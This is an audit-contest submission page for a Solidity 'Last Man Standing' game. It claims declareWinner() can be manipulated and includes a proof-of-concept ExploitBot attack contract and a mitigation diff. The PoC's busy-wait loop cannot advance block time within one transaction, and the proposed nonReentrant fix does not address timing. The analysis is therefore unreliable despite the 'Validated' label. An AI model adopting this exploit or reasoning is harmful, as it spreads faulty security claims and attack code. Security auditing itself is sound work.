Last Man Standing

First Flight #45
Beginner FriendlyFoundrySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Game Manipulation via declareWinner() Function

Root + Impact

Description

  • The normal behavior of the declareWinner() function is to allow anyone to end the game and award the pot to the current king once the grace period has expired.

  • However, the function lacks a nonReentrant modifier and any caller-specific cooldown mechanism. As a result, a malicious actor can deploy a contract that programmatically front-runs the grace period check, repeatedly calling claimThrone() followed immediately by declareWinner() until timing lines up, effectively forcing an early win or stalling the game.

function declareWinner() external gameNotEnded {
require(currentKing != address(0), "Game: No one has claimed the throne yet.");
@> require(
@> block.timestamp > lastClaimTime + gracePeriod,
@> "Game: Grace period has not expired yet."
@> );
gameEnded = true;
pendingWinnings[currentKing] += pot;
pot = 0;
emit GameEnded(currentKing, pot, block.timestamp, gameRound);
}

Risk

Likelihood:

  • This is likely in bot-driven environments where users can deploy smart contracts to programmatically interact with claimThrone() and time declareWinner() to force early ends.

  • This could also be exploited during low player activity, where an attacker can narrowly time transactions around grace period expiration.

Impact:

  • Premature game-ending grants unfair rewards to the attacker.

  • This may cause loss of player trust and manipulation of on-chain game analytics.

Proof of Concept

contract ExploitBot {
Game public game;
constructor(address _game) {
game = Game(_game);
}
function exploit() external payable {
// Claim the throne shortly before the grace period could expire
game.claimThrone{value: msg.value}();
// Loop until grace period is expired and call declareWinner
while (true) {
try game.declareWinner() {
break;
} catch {}
}
}
receive() external payable {}
}

Recommended Mitigation

- function declareWinner() external gameNotEnded {
+ function declareWinner() external gameNotEnded nonReentrant {

Optionally add additional safeguards:

+ require(msg.sender != currentKing, "Game: King cannot immediately end game.");
+ require(block.timestamp > lastClaimTime + gracePeriod + 30 seconds, "Game: Cooldown not met.");
Updates

Appeal created

inallhonesty Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Game::claimThrone can still be called regardless of the grace period

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.